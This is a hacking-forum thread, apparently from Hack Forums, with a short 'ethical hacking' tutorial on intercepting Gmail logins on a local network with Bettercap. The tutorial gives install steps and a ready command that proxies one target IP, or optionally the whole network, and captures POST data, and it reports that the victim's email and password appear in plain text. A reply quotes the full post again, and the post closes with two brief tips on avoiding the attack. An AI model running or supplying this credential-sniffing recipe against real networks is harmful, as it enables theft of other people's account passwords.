

Forum:[Hack Forums](#)

Thread: [3 Steps GMail MITM Hacking Using Bettercap Ethical Hacking Tutorial](#)

Decryption/Critical - February 14, 2024, 12:11 am

The hacking tutorial for today is about 3 Steps GMail MITM Hacking Using Bettercap.

Computer security is improving and getting tough day by days, but most of technology leave the users behind about the importance of awareness of the user itself.

According to the website [bettercap.org](#) this tool is a powerful, flexible and portable tool created to perform various types of MITM attacks against a network, manipulate HTTP, HTTPS and TCP traffic in realtime, sniff for credentials and much more.

Requirements:

1. Ruby interpreter (≥ 1.9)
 2. RubyGems environment installed.
 3. Bettercap
 4. Kali Linux 2016.2 (the OS used in this tutorial)
- 3 Steps GMail MITM Hacking Using Bettercap:

1. TO install Bettercap in Kali Linux it's more easy, just run apt-get update from terminal, and then run apt-get install bettercap.

2. To check the available options in Bettercap, we can run bettercap --help.

3. In this tutorial we've set the target is IP 192.168.1.111; but if you want to target the whole network, you can set the -T options without address. We've run this command
bettercap -T 192.168.1.111 --proxy -P POST

There's the email and password revealed in plain text.

Conclusion how to avoid 3 Steps GMail MITM Hacking Using Bettercap:

1. Look the URL/address bar of your browser carefully. The log in page usually encrypted and started with https
2. Type the destination URL completely e.g: mail google in your browser address bar.

Share if you found this post useful. ?

chen_zhenn - February 14, 2024, 12:26 am

thanks for this thool

atomeialexandra - February 5, 2026, 2:15 pm

(Feb 14, 2024 01:11 AM)Decryption/Critical Wrote: [\[CITE\]](#) The hacking tutorial for today is about 3 Steps GMail MITM Hacking Using Bettercap.

Computer security is improving and getting tough day by days, but most of technology leave the users behind about the importance of awareness of the user itself.

According to the website bettercap.org this tool is a powerful, flexible and portable tool created to perform various types of MITM attacks against a network, manipulate HTTP, HTTPS and TCP traffic in realtime, sniff for credentials and much more.

Requirements:

1. Ruby interpreter (≥ 1.9)
2. RubyGems environment installed.
3. Bettercap
4. Kali Linux 2016.2 (the OS used in this tutorial)

3 Steps GMail MITM Hacking Using Bettercap:

1. TO install Bettercap in Kali Linux it's more easy, just run apt-get update from terminal, and then run apt-get install bettercap.
2. To check the available options in Bettercap, we can run `bettercap --help`.
3. In this tutorial we've set the target is IP 192.168.1.111; but if you want to target the whole network, you can set the -T options without address. We've run this command `bettercap -T 192.168.1.111 --proxy -P POST`

There's the email and password revealed in plain text.

Conclusion how to avoid 3 Steps GMail MITM Hacking Using Bettercap:

1. Look the URL/address bar of your browser carefully. The log in page usually encrypted and started with https
2. Type the destination URL completely e.g: mail google in your browser address bar.

Share if you found this post useful. ?
will check